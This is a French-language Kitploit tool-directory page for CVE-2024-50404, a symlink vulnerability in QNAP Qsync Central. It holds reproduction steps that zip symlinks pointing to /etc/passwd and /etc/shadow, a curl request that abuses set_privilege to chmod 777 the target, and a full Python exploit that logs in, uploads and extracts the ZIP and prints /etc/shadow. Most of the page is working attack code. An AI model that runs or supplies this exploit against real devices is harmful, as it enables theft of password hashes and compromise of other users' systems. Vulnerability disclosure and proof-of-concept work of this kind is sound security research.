Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-50404 — CVE-2024-50404 | Kitploit
Outils/GitHubGitHub/c411e/cve-2024-50404
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubc411e/cve-2024-50404

CVE-2024-50404

CVE-2024-50404

Voir le dépôt
1il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-50404

  • https://www.qnap.com/en/security-advisory/qsa-24-48
  • https://www.cve.org/CVERecord?id=2024-50404
  • CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (6.8)

"Une vulnérabilité de type lien symbolique a été signalée affectant Qsync Central. Si elle est exploitée, la vulnérabilité pourrait permettre à des attaquants à distance ayant obtenu un accès utilisateur de parcourir le système de fichiers vers des emplacements non prévus."

Date de découverte : 22 avril 2024
Date de correction : 7 décembre 2024
Version(s) concernée(s) : Qsync Central 4.4.x
Version(s) corrigée(s) : Qsync Central 4.4.0.16_20240819 (2024/08/19) et ultérieures
Permissions d'accès : Utilisateur régulier avec permission de téléversement de fichier

Résumé :
Il est possible de téléverser un lien symbolique via un fichier ZIP et de lire le fichier vers lequel pointe le lien symbolique téléversé. De plus, les permissions du fichier cible du lien symbolique peuvent être modifiées.
Un attaquant disposant des privilèges d'un utilisateur régulier peut lire les données d'autres utilisateurs ou les hachages de mots de passe stockés dans /etc/config/shadow, ce qui pourrait conduire au compromis de l'ensemble du système. De plus, l'attaquant pourrait supprimer la permission d'exécution sur des binaires système importants pour rendre le système inutilisable.

Étapes à reproduire

Lire un fichier via un lien symbolique

  1. Créez un lien symbolique et placez-le dans un fichier ZIP.

    root@kitploit:~
    ln -s /etc/passwd link.txt
    zip --symlink pwn.zip link.txt
    
  2. Connectez-vous en tant qu'utilisateur à faibles privilèges.

  3. Téléversez le fichier ZIP dans le dossier .Qsync.

    Téléverser ZIP

  4. Extrayez le fichier ZIP en cliquant droit et en sélectionnant Extraire vers /pwn/.

    Extraire ZIP

  5. Ouvrez le nouveau dossier pwn, faites un clic droit sur link.txt et sélectionnez Ouvrir.

  6. Observez que /etc/passwd s'ouvre dans un nouvel onglet.

    Ouvrir le lien

Modifier les permissions d'un fichier via un lien symbolique

  1. Créez un lien symbolique et placez-le dans un fichier ZIP.

    root@kitploit:~
    ln -s /etc/shadow link.txt
    zip --symlink pwn.zip link.txt
    
  2. Connectez-vous en tant qu'utilisateur à faibles privilèges.

  3. Téléversez le fichier ZIP dans le dossier .Qsync.

  4. Extrayez le fichier ZIP en cliquant droit et en sélectionnant Extraire vers /pwn/.

  5. Modifiez la permission du fichier vers lequel pointe le lien symbolique en abusant de la fonction set_privilege.

    Requête Curl :

    root@kitploit:~
    curl --path-as-is -i -s -k -X $'GET' -H $'Host: 192.168.178.156' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: https://192.168.178.156/cgi-bin/' -H $'X-Requested-With: XMLHttpRequest' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' $'https://192.168.178.156/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid=9j27809t&source_path=/home/.Qsync/pwn/&source_file=link.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1'
    

    Requête Burp :

    Requête Burp

    Vous devez remplacer le paramètre sid dans l'URL par un identifiant de session valide.

  6. Ouvrez le nouveau dossier pwn, faites un clic droit sur link.txt et sélectionnez Ouvrir.

Preuve de concept

Le script Python suivant peut être utilisé pour exploiter la vulnérabilité.

root@kitploit:~
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3

# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
FILE = '/etc/shadow'
#DEBUG_PROXY = 'http://localhost:8080'

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def main() -> None:
    session = Session()
    #session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
    session.verify = False

    print(f'carefull, privileges of {FILE} are changed to 777! clean up is not implemented')

    print('creating zip file')
    os.system('rm -f pwned.txt pwn.zip')
    os.system(f'ln -s {FILE} pwned.txt')
    os.system('zip --symlink pwn.zip pwned.txt')

    print('loggin in')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/authLogin.cgi',
        headers={'Content-type': 'application/x-www-form-urlencoded'},
        data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
    )
    assert response.status_code == 200
    match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
    assert match
    sid = match.group(1)

    print('uploading zip file')
    with open('pwn.zip', 'rb') as file:
        upload_file(session, sid, 'pwn.zip', file.read())

    print('unpacking zip file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/.Qsync/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/.Qsync'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    # wait a bit
    time.sleep(5)

    print('changing privileges on file')
    response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid={sid}&source_path=/home/.Qsync/&source_file=pwned.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1')
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    print('read file')
    response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi/pwned.txt?sid={sid}&func=get_viewer&source_path=%2Fhome%2F.Qsync&source_file=pwned.txt')
    assert response.status_code == 200
    print(response.text)

    print('done')


def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
    # get upload id
    response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
    assert response.status_code == 200
    data = response.json()
    upload_id = data['upload_id']
    assert upload_id

    # upload file
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome%2F.Qsync&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
        files=(
            ('fileName', (None, filename.encode('ascii'))),
            ('file', ('blob', content, 'application/octet-stream')),
        ),
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1


if __name__ == '__main__':
    main()
Télécharger l’outil

Observez que /etc/shadow s'ouvre dans un nouvel onglet.

Ouvrir le lien